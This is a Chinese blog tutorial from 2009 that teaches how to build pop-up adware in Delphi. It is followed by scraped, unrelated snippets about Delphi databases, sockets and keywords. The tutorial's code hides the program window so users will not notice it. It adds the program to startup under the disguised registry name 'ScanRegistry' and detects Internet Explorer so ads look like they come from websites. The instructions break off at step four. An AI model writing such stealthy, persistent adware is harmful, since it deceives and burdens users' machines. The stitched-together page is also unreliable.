教你用delphi写弹窗广告插件
教你用delphi写弹窗广告插件
2009年12月25日 星期五 00:45
教你用delphi写弹窗广告插件
引子
目前越来越多的广告插件在我们电脑上扎根驻地，时不时地弹出令人讨厌的广告，并且每当我们开机的时候都会弹出来，搞的很多小菜只能重装系统，
来解决这另人讨厌的广告！影响我们上网聊天，玩游戏，工作等等……很多小菜都不知道广告插件是什么，是怎么做出来的。
下面我就为大家揭开弹窗广告的真实面目，教大家如何很容易的自己也能编出
一个好的弹窗广告插件！
第一步 我们运行delphi7（地球人都知道，呵呵！）
如图1
我们运行delphi7，它是一个可视化编辑器，运行后程序会自动给我们建立一个窗体，便于我们操作。
我们的弹窗广告就是在form1上编辑出来的！
第二步 使广告程序开机自动运行与隐藏
双击form1，填写程序自动写入注册表功能，实现开机自动运行的目的。
如图2
procedure TForm1.FormCreate(Sender: TObject);
begin
Application.ShowMainForm:=False;//隐藏form窗体,这样做是为了不易被人发现！
reg:=tregistry.create;
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
reg.WriteString('ScanRegistry','ad.exe');
reg.closekey;
reg.free;//写入注册表，目的是开机自动运行，我这里自动运行ad.exe，最后把程序保存为ad.exe
另外需要注意的是，在uses中一定要添加registry，在var中要添加reg:tregistry;
这点很重要哦，不然程序就不能运行了！很多小菜在编程的时候都不注意这点，最后使整个程序不能运行，但并不知道错误在哪。
做完这一步，我们的程序就可以写入注册表喽！
第三步 检测浏览器是否运行
弹窗广告插件一般都是在你浏览网页的时候，弹出广告。他们这样做的目的其实是为了嫁祸给你打开的网站，以为是网站弹出的广告呢！
这样做可以更好的隐藏广告插件。
下面我就教大家写一段代码，来实现这个功能！（前几步代码不动）
我现在在form1窗体上添加一个时间控件timer1,如图3
就是system里面的那个小时钟，很好找的。然后双击小时钟timer1时间控件，添加如下代码：
hWnd:=FindWindow('IEFrame',nil);//查找浏览器是否运行，如图4
同样和第三步一样，要在var中添加hWnd:THandle;
第四步 弹出讨厌的广告
继续在timer1中添加代码：
if hWnd<>0 then //如果发现浏览器运行，
相关文档：
很早做过的一个delphi项目，把里面用到的技术总结一下，主要是针对象我这样的delphi新手，技术上做个积累吧！
假设我们的数据库配置文件ServerInfo.ini内容如下：
[ServerInfo]
ServerIP=192.168.1.5
SQLDBName=Data
SQLUserID=sa
SQLPwd=
我们定义一个连接数据库的过 ......
转自大富翁http://www.delphibbs.com/keylife/iblog_show.asp?xid=30049
老陈有一个在外地工作的女儿，不能经常回来，老陈和她通过信件联系。他们的信会被邮递员投递到他们的信箱里。
这和Socket模型非常类似。下面我就以老陈接收信件为例讲解Socket I/O模型。
一：select模型
老陈非常想看到女儿的信。以� ......
Delphi 关键字详解[整理于 "橙子" 的帖子]
absolute
//它使得你能够创建一个新变量, 并且该变量的起始地址与另一个变量相同.
var
Str: string[32];
StrLen: Byte absolute Str;
//这个声明指定了变量StrLen起始地址与Str相同.
//由于字符串的第0个位置保存了字符串的长度, 所以StrLen的值即字符串长度.
begin ......
procedure TForm2.Panel1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
Screen.Cursor := -2;
end;
const
crDefault = TCursor(0);
crNone = TCursor(-1);
crArrow = TCursor(-2);
&n ......
